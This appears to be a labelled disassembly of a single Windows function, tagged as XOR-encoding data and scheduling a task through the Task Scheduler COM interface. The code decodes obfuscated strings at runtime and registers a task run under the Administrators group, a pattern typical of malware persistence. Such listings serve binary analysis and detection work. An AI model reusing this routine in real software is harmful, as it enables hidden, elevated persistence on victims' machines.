Function at 0x402080
Capabilities:
Encode data using xor
Schedule task via itaskservice

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40fc53
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0xc8
mov eax, dword [0x417040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x58], ecx
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
js 0x402b50
push 0
push 0
push 0
push 3
push 6
push 0
push 0
push 0xffffffffffffffff
push 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
test eax, eax
js 0x402b4a
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0
push eax
push 0x4101a0
push 1
push 0
push 0x4101b0
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x402b4a
mov eax, dword [ebp - 0x20]
mov edi, dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [eax]
mov esi, dword [eax + 0x28]
lea eax, [ebp - 0x88]
push eax
call edi
mov dword [ebp - 4], 0
lea eax, [ebp - 0xd0]
movups xmm0, xmmword [ebp - 0x88]
push eax
movups xmmword [ebp - 0xb0], xmm0
call edi
movups xmm0, xmmword [ebp - 0xd0]
lea eax, [ebp - 0x68]
push eax
movups xmmword [ebp - 0xc0], xmm0
call edi
movups xmm0, xmmword [ebp - 0x68]
lea eax, [ebp - 0x78]
push eax
movups xmmword [ebp - 0xa0], xmm0
call edi
mov byte [ebp - 4], 3
sub esp, 0x10
movups xmm0, xmmword [ebp - 0xb0]
mov eax, esp
sub esp, 0x10
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0xc0]
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0xa0]
movups xmmword [eax], xmm0
mov eax, esp
movups xmm0, xmmword [ebp - 0x78]
push dword [ebp - 0x20]
movups xmmword [eax], xmm0
call esi
mov edi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov esi, eax
lea eax, [ebp - 0x78]
push eax
call edi
lea eax, [ebp - 0x68]
push eax
call edi
lea eax, [ebp - 0xd0]
push eax
call edi
lea eax, [ebp - 0x88]
mov dword [ebp - 4], 0xffffffff
push eax
call edi
mov eax, dword [ebp - 0x20]
test esi, esi
js 0x402b44
mov dword [ebp - 0x1c], 0
mov eax, dword [eax]
push 0xc
mov edi, dword [eax + 0x1c]
call fcn.00403108
mov esi, eax
add esp, 4
mov dword [ebp - 0x50], esi
mov dword [ebp - 4], 4
test esi, esi
je 0x40224a
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
push 0x414fac
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x402b6e
jmp 0x40224c
xor esi, esi
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x50], esi
test esi, esi
je 0x402b6e
lea eax, [ebp - 0x1c]
mov dword [ebp - 4], 5
push eax
push dword [esi]
push dword [ebp - 0x20]
call edi
or edi, 0xffffffff
mov dword [ebp - 0x4c], eax
mov dword [ebp - 4], 0xffffffff
mov ecx, edi
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x4022bf
mov ecx, dword [esi]
test ecx, ecx
je 0x40229a
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x4022b1
push eax
call fcn.00403103
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.00403138
mov eax, dword [ebp - 0x4c]
add esp, 8
test eax, eax
jns 0x4022cb
mov eax, dword [ebp - 0x20]
jmp 0x402b44
cmp byte [0x4178fa], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov esi, dword [eax + 0x3c]
je 0x40230a
xor edx, edx
mov dword [ebp - 0x4c], edx
mov eax, 0x51eb851f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 0x4c]
mov cl, dl
imul eax, eax, 0x32
sub cl, al
add cl, 0x38
xor byte [edx + str.VTZOYU3_B], cl
inc edx
mov dword [ebp - 0x4c], edx
cmp edx, 0xb
jl 0x4022e1
push str.VTZOYU3_B
lea ecx, [ebp - 0x50]
call fcn.00401010
mov dword [ebp - 4], 6
mov eax, dword [eax]
test eax, eax
je 0x402328
mov eax, dword [eax]
jmp 0x40232a
xor eax, eax
push 0
push eax
push dword [ebp - 0x1c]
call esi
mov dword [ebp - 4], 0xffffffff
mov esi, dword [ebp - 0x50]
test esi, esi
je 0x402383
mov eax, edi
lock xadd dword [esi + 8], eax
dec eax
jne 0x402383
test esi, esi
je 0x402383
mov eax, dword [esi]
test eax, eax
je 0x402361
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x402378
push eax
call fcn.00403103
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.00403138
add esp, 8
cmp byte [0x4178fa], 0
jne 0x4023ba
xor edx, edx
mov dword [ebp - 0x4c], edx
mov eax, 0x51eb851f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 0x4c]
mov cl, dl
imul eax, eax, 0x32
sub cl, al
add cl, 0x38
xor byte [edx + str.VTZOYU3_B], cl
inc edx
mov dword [ebp - 0x4c], edx
cmp edx, 0xb
jl 0x402391
mov ecx, dword [ebp - 0x20]
lea edx, [ebp - 0x18]
push edx
mov dword [ebp - 0x18], 0
push 0
mov eax, dword [ecx]
push ecx
call dword [eax + 0x24]
mov ecx, dword [ebp - 0x20]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x4023e7
mov eax, dword [ebp - 0x1c]
jmp 0x402b44
mov ecx, dword [ebp - 0x18]
lea edx, [ebp - 0x28]
mov dword [ebp - 0x28], 0
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x1c]
test eax, eax
jns 0x402410
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x18]
jmp 0x402b44
mov ecx, dword [ebp - 0x18]
lea edx, [ebp - 0x44]
mov dword [ebp - 0x44], 0
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x3c]
test eax, eax
js 0x402433
mov ecx, dword [ebp - 0x44]
push 1
push ecx
mov eax, dword [ecx]
call dword [eax + 0x48]
cmp byte [0x417910], 0
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov esi, dword [eax + 0x28]
je 0x4025b0
xor edx, edx
cmp dword [0x417d30], 2
mov dword [ebp - 0x4c], edx
jl 0x402580
movaps xmm0, xmmword [0x415190]
movaps xmm4, xmmword [0x415140]
movaps xmm3, xmmword [0x4151a0]
movaps xmm5, xmmword [0x415160]
movaps xmm6, xmmword [0x415170]
movaps xmmword [ebp - 0xa0], xmm0
mov ecx, dword [ebp - 0xa0]
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [edx + str.VTZOYU3_]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [edx + str.VTZOYU3_], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [edx + 0x417900]
xorps xmm2, xmm0
movd dword [edx + 0x417900], xmm2
add edx, 8
cmp edx, 0x10
jl 0x402490
mov dword [ebp - 0x4c], edx
cmp edx, 0x15
jge 0x4025b0
nop dword [eax]
mov eax, 0x51eb851f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x32
sub cl, al
add cl, 0x38
xor byte [edx + str.VTZOYU3_], cl
inc edx
mov dword [ebp - 0x4c], edx
cmp edx, 0x15
jl 0x402580
push str.VTZOYU3_
lea ecx, [ebp - 0x50]
call fcn.00401010
mov dword [ebp - 4], 7
mov eax, dword [eax]
test eax, eax
je 0x4025ce
mov eax, dword [eax]
jmp 0x4025d0
xor eax, eax
push eax
push dword [ebp - 0x28]
call esi
mov dword [ebp - 4], 0xffffffff
mov esi, dword [ebp - 0x50]
mov dword [ebp - 0x4c], eax
test esi, esi
je 0x40262a
mov ecx, edi
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x40262a
test esi, esi
je 0x40262a
mov eax, dword [esi]
test eax, eax
je 0x402608
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x40261f
push eax
call fcn.00403103
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.00403138
add esp, 8
mov eax, dword [ebp - 0x28]
xorps xmm0, xmm0
movups xmmword [str.VTZOYU3_], xmm0
mov dword [0x41790c], 0
mov byte [0x417910], 0
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
cmp dword [ebp - 0x4c], 0
jl 0x4023ff
mov ecx, dword [ebp - 0x18]
lea edx, [ebp - 0x24]
mov dword [ebp - 0x24], 0
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x2c]
test eax, eax
js 0x4023ff
mov ecx, dword [ebp - 0x24]
push 0xffffffffffffffff
push ecx
mov eax, dword [ecx]
call dword [eax + 0x58]
mov ecx, dword [ebp - 0x24]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
js 0x4023ff
mov ecx, dword [ebp - 0x24]
push 0
push ecx
mov eax, dword [ecx]
call dword [eax + 0x50]
mov ecx, dword [ebp - 0x24]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
js 0x4023ff
mov ecx, dword [ebp - 0x24]
push 0
push ecx
mov eax, dword [ecx]
call dword [eax + 0x48]
mov ecx, dword [ebp - 0x24]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
js 0x4023ff
mov ecx, dword [ebp - 0x24]
push 0
push ecx
mov eax, dword [ecx]
call dword [eax + 0x40]
mov ecx, dword [ebp - 0x24]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
js 0x4023ff
mov ecx, dword [ebp - 0x18]
lea edx, [ebp - 0x34]
mov dword [ebp - 0x34], 0
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x24]
test eax, eax
js 0x4023ff
mov ecx, dword [ebp - 0x34]
lea edx, [ebp - 0x38]
push edx
mov dword [ebp - 0x38], 0
push 9
mov eax, dword [ecx]
push ecx
call dword [eax + 0x28]
mov ecx, dword [ebp - 0x34]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
js 0x4023ff
mov ecx, dword [ebp - 0x38]
lea edx, [ebp - 0x2c]
push edx
mov dword [ebp - 0x2c], 0
push 0x4101c0
mov eax, dword [ecx]
push ecx
call dword [eax]
mov ecx, dword [ebp - 0x38]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
js 0x4023ff
mov eax, dword [ebp - 0x2c]
push 0xc
mov eax, dword [eax]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x50], eax
call fcn.00403108
mov esi, eax
add esp, 4
mov dword [ebp - 0x54], esi
mov dword [ebp - 4], 8
test esi, esi
je 0x4027b4
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
push 0x414fb0
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x402b78
jmp 0x4027b6
xor esi, esi
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x54], esi
test esi, esi
je 0x402b6e
mov dword [ebp - 4], 9
push dword [esi]
push dword [ebp - 0x2c]
call dword [ebp - 0x50]
mov dword [ebp - 0x50], eax
mov ecx, edi
mov dword [ebp - 4], 0xffffffff
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x402820
mov ecx, dword [esi]
test ecx, ecx
je 0x4027fe
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x402815
push eax
call fcn.00403103
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.00403138
add esp, 8
mov eax, dword [ebp - 0x2c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0x50], 0
jl 0x4023ff
mov ecx, dword [ebp - 0x18]
lea edx, [ebp - 0x3c]
mov dword [ebp - 0x3c], 0
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x44]
test eax, eax
js 0x4023ff
mov ecx, dword [ebp - 0x3c]
lea edx, [ebp - 0x40]
push edx
mov dword [ebp - 0x40], 0
push 0
mov eax, dword [ecx]
push ecx
call dword [eax + 0x30]
mov ecx, dword [ebp - 0x3c]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
js 0x4023ff
mov ecx, dword [ebp - 0x40]
lea edx, [ebp - 0x30]
push edx
mov dword [ebp - 0x30], 0
push str.MbLk
mov eax, dword [ecx]
push ecx
call dword [eax]
mov ecx, dword [ebp - 0x40]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
js 0x4023ff
mov eax, dword [ebp - 0x30]
push 0xc
mov eax, dword [eax]
mov eax, dword [eax + 0x2c]
mov dword [ebp - 0x50], eax
call fcn.00403108
mov esi, eax
add esp, 4
mov dword [ebp - 0x54], esi
mov dword [ebp - 4], 0xa
test esi, esi
je 0x4028fe
push dword [ebp - 0x58]
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
jne 0x402900
cmp dword [ebp - 0x58], eax
jne 0x402b82
jmp 0x402900
xor esi, esi
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x54], esi
test esi, esi
je 0x402b6e
mov dword [ebp - 4], 0xb
push dword [esi]
push dword [ebp - 0x30]
call dword [ebp - 0x50]
mov dword [ebp - 0x50], eax
mov ecx, edi
mov dword [ebp - 4], 0xffffffff
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x40296a
mov ecx, dword [esi]
test ecx, ecx
je 0x402948
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x40295f
push eax
call fcn.00403103
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.00403138
add esp, 8
mov eax, dword [ebp - 0x30]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0x50], 0
mov eax, dword [ebp - 0x1c]
jl 0x402402
mov esi, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [ebp - 0x48], 0
mov eax, dword [eax]
push 0x414fc4
mov eax, dword [eax + 0x44]
mov dword [ebp - 0x50], eax
mov eax, 8
mov word [ebp - 0x78], ax
call esi
mov dword [ebp - 0x70], eax
test eax, eax
je 0x402b8c
mov dword [ebp - 4], 0xc
lea eax, [ebp - 0x88]
movups xmm0, xmmword [ebp - 0x78]
push eax
movups xmmword [ebp - 0xa0], xmm0
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov byte [ebp - 4], 0xd
mov eax, 8
movups xmm0, xmmword [ebp - 0x88]
push str.S_1_5_32_544
mov word [ebp - 0x68], ax
movups xmmword [ebp - 0xc0], xmm0
call esi
mov dword [ebp - 0x60], eax
test eax, eax
je 0x402b96
mov byte [ebp - 4], 0xe
cmp byte [0x4178fa], 0
movups xmm0, xmmword [ebp - 0x68]
mov esi, dword [ebp - 0x18]
movups xmmword [ebp - 0xb0], xmm0
je 0x402a49
xor edx, edx
mov dword [ebp - 0x58], edx
nop dword [eax]
mov eax, 0x51eb851f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 0x58]
mov cl, dl
imul eax, eax, 0x32
sub cl, al
add cl, 0x38
xor byte [edx + str.VTZOYU3_B], cl
inc edx
mov dword [ebp - 0x58], edx
cmp edx, 0xb
jl 0x402a20
push str.VTZOYU3_B
lea ecx, [ebp - 0x4c]
call fcn.00401010
mov byte [ebp - 4], 0xf
mov eax, dword [eax]
test eax, eax
je 0x402a64
mov ecx, dword [eax]
jmp 0x402a66
xor ecx, ecx
movups xmm0, xmmword [ebp - 0xa0]
lea eax, [ebp - 0x48]
push eax
sub esp, 0x10
mov eax, esp
push 4
sub esp, 0x10
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0xc0]
movups xmmword [eax], xmm0
mov eax, esp
movups xmm0, xmmword [ebp - 0xb0]
push 6
push esi
push ecx
push dword [ebp - 0x1c]
movups xmmword [eax], xmm0
call dword [ebp - 0x50]
mov esi, dword [ebp - 0x4c]
test esi, esi
je 0x402af2
lock xadd dword [esi + 8], edi
dec edi
jne 0x402aeb
test esi, esi
je 0x402aeb
mov eax, dword [esi]
test eax, eax
je 0x402ac9
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x402ae0
push eax
call fcn.00403103
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.00403138
add esp, 8
mov dword [ebp - 0x4c], 0
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [ebp - 0x68]
push eax
call esi
lea eax, [ebp - 0x88]
push eax
call esi
lea eax, [ebp - 0x78]
mov dword [ebp - 4], 0xffffffff
push eax
call esi
mov eax, dword [ebp - 0x1c]
xorps xmm0, xmm0
movq qword [str.VTZOYU3_B], xmm0
mov word [0x4178f8], 0
mov byte [0x4178fa], 0
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x48]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004030f5
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 0x8007000e
call fcn.00402d70
push 0x8007000e
call fcn.00402d70
push 0x8007000e
call fcn.00402d70
push 0x8007000e
call fcn.00402d70
push 0x8007000e
call fcn.00402d70
int3